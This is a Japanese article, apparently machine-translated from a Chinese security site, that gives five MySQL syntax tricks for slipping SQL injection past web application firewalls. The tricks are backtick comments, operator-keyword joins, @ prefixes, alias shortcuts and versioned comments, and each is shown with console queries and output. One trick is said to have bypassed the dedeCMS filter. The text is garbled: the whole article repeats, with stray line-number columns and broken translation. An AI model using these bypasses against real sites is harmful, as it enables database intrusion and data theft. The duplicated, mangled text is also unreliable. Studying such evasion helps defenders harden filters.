WAF迂回のテクニック
4371 ワード
国内外のwafを研究したことがある.いくつかの特技を分かち合う.
皆さんが知っているテクニックは、/*!*/、SELECT[0 x 09,0 x 00 A-0 x 02 D,0 x 20,0 xA 0]xx FROMは再言及されない.
以下、Mysqlを例に挙げて、これらのテクニックを説明します.
tips 1:不思議な
Default
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
Default
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
usage : where id =’0’`’xxxxcomment on.
tips 2:不思議な-+.
(ここでは-+.の3つの記号に注意してください)
Default
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(キーワードはどうやって?fromをフィルタ...このようにつながったことがある)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(キーワードはどうやって?
from ... このようにつながったことがあります)
tips3: @
Default
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
これはbypassがかつてdedeCMS filterしたものです.
1
2
3
4
5
6
7
8
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
これは
bypassはかつてdedeCMS filter.
tips 4:mysql function()as xxxはasやスペースを使わなくてもいいです
Default
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/*![>5000]*/新構造バージョン番号(これは時代遅れかもしれません.)
Default
mysql>/\*!40000select\*/id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql>/\*!40000select\*/id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
91ri.org小編語:wafは現在、侵入者を防御する敷居として、徐々に強化されている.このような防護措置を迂回する様々な技術の研究も安全研究者が自分の不足をさらに認識し、奮闘し続けるのに役立つ.これらの思考能力は真心NBである.
良いものはもっとみんなに分かち合う必要があります.
関連記事のおすすめは『MySQLステルス変換でWAFを迂回』『HTTPパラメータ汚染によりWAFブロックを迂回』
link:http://drops.wooyun.org/tips/132(原文を少し変更)
原文住所:http://www.91ri.org/6372.html
皆さんが知っているテクニックは、/*!*/、SELECT[0 x 09,0 x 00 A-0 x 02 D,0 x 20,0 xA 0]xx FROMは再言及されない.
以下、Mysqlを例に挙げて、これらのテクニックを説明します.
tips 1:不思議な
( )
スペースを迂回して正則的に一致します.Default
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
,
の制御子は、注釈として使用することができる(条件を限定する).Default
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
usage : where id =’0’`’xxxxcomment on.
tips 2:不思議な-+.
(ここでは-+.の3つの記号に注意してください)
Default
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(キーワードはどうやって?fromをフィルタ...このようにつながったことがある)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(キーワードはどうやって?
from ... このようにつながったことがあります)
tips3: @
Default
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
これはbypassがかつてdedeCMS filterしたものです.
1
2
3
4
5
6
7
8
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
これは
bypassはかつてdedeCMS filter.
tips 4:mysql function()as xxxはasやスペースを使わなくてもいいです
Default
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/*![>5000]*/新構造バージョン番号(これは時代遅れかもしれません.)
Default
mysql>/\*!40000select\*/id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
mysql>/\*!40000select\*/id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
91ri.org小編語:wafは現在、侵入者を防御する敷居として、徐々に強化されている.このような防護措置を迂回する様々な技術の研究も安全研究者が自分の不足をさらに認識し、奮闘し続けるのに役立つ.これらの思考能力は真心NBである.
良いものはもっとみんなに分かち合う必要があります.
関連記事のおすすめは『MySQLステルス変換でWAFを迂回』『HTTPパラメータ汚染によりWAFブロックを迂回』
link:http://drops.wooyun.org/tips/132(原文を少し変更)
原文住所:http://www.91ri.org/6372.html